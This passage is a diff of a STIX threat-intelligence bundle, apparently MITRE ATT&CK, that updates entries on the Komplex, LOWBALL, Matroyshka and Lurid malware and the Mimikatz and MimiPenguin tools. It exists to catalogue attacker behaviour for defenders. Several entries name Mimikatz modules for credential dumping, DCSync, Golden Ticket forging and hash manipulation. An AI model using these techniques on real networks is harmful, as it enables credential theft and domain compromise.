+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Komplex payload is stored in a hidden directory at <code>/Users/Shared/.local/kextd</code>.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
@@ -43266,35 +51507,14 @@
                 }
             ]
         },
-        {
-            "type": "relationship",
-            "id": "relationship--aee416ca-3c62-4080-b0f7-922e15f6fa1d",
-            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "relationship_type": "uses",
-            "description": "The Komplex C2 channel uses an 11-byte XOR algorithm to hide data .",
-            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
-            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
-            "object_marking_refs": [
-                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
-            ],
-            "external_references": [
-                {
-                    "source_name": "Sofacy Komplex Trojan",
-                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
-                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
-                }
-            ]
-        },
         {
             "type": "relationship",
             "id": "relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The Komplex C2 channel uses HTTP POST requests ",
+            "description": "The Komplex C2 channel uses HTTP POST requests.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
             "object_marking_refs": [
@@ -43313,9 +51533,9 @@
             "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The OsInfo function collects a running process list ",
+            "description": "The OsInfo function in Komplex collects a running process list.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
             "object_marking_refs": [
@@ -43334,9 +51554,9 @@
             "id": "relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The OsInfo function collects the current running username ",
+            "description": "The OsInfo function in Komplex collects the current running username.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
             "object_marking_refs": [
@@ -43355,9 +51575,9 @@
             "id": "relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The Komplex trojan supports file deletion ",
+            "description": "The Komplex trojan supports file deletion.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
             "object_marking_refs": [
@@ -43371,12 +51591,33 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The Komplex C2 channel uses an 11-byte XOR algorithm to hide data .",
+            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Sofacy Komplex Trojan",
+                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL uses the Dropbox cloud storage service for command and control.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
@@ -43397,7 +51638,7 @@
             "id": "relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL command and control occurs via HTTPS over port 443.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
@@ -43418,7 +51659,7 @@
             "id": "relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL command and control occurs via HTTPS over port 443.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
@@ -43439,7 +51680,7 @@
             "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL uses the Dropbox API to  request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
@@ -43460,7 +51701,7 @@
             "id": "relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lslsass can dump active logon session password hashes from the lsass process.",
             "source_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
@@ -43481,7 +51722,7 @@
             "id": "relationship--21717b6b-1fc6-4619-9877-bb36237a8efd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lurid performs XOR encryption.",
             "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
@@ -43502,7 +51743,7 @@
             "id": "relationship--982d9af7-45bb-4cc0-9819-aaadb3304783",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lurid can compress data before sending it.",
             "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
@@ -43518,14 +51759,275 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka uses DNS for C2.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of stealing Outlook passwords.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of performing screen captures.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of keylogging.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of providing Meterpreter shell access.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--4696a49d-caa1-4746-b106-45faf327270b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka can establish persistence by adding Registry Run keys.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d2560c35-b2f6-47d2-b573-236ef99894d5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--47415cec-25f8-4425-9125-157e1637a687",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka uses reflective DLL injection to inject the malicious library and execute the RAT.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--573916d8-804d-4453-be37-e6b1865e87db",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka obfuscates API function names using a substitute cipher combined with Base64 encoding.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can dump process memory and extract clear-text credentials.",
+            "source_ref": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "MimiPenguin GitHub May 2017",
+                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
+                    "url": "https://github.com/huntergregal/mimipenguin"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from LSA, SAM table, credential vault, and DCSync.",
+            "description": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.",
             "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
             "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
             "object_marking_refs": [
@@ -43541,6 +52043,11 @@
                     "source_name": "GitHub Mimikatz lsadump Module",
                     "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                     "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+                },
+                {
+                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015",
+                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
+                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"
                 }
             ]
         },
@@ -43549,15 +52056,20 @@
             "id": "relationship--6e641c36-188b-480e-b177-e412cd000b34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality.",
+            "description": "The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The <code>LSADUMP::ChangeNTLM</code> and <code>LSADUMP::SetNTLM</code> modules can also manipulate the password hash of an account without knowing the clear text value.",
             "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
             "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
                 {
                     "source_name": "Metcalf 2015",
                     "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
@@ -43570,7 +52082,7 @@
             "id": "relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Mimikatz credential dumper contains an implementation of an SSP.",
             "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -43586,12 +52098,137 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>MISC::AddSid</code> module can appended any SID or user/group account to a user's SID-History.Mimikatz also utilizes SID-History Injection to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
+                {
+                    "source_name": "AdSecurity Kerberos GT Aug 2015",
+                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
+                    "url": "https://adsecurity.org/?p=1640"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz\u2019s <code>LSADUMP::DCSync</code>, <code>KERBEROS::Golden</code>, and <code>KERBEROS::PTT</code> modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
+                {
+                    "source_name": "AdSecurity Kerberos GT Aug 2015",
+                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
+                    "url": "https://adsecurity.org/?p=1640"
+                },
+                {
+                    "source_name": "Harmj0y DCSync Sept 2015",
+                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
+                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>CRYPTO::Extract</code> module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--028c3adf-4182-4250-9642-2ce5c448f710",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>DPAPI</code> module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
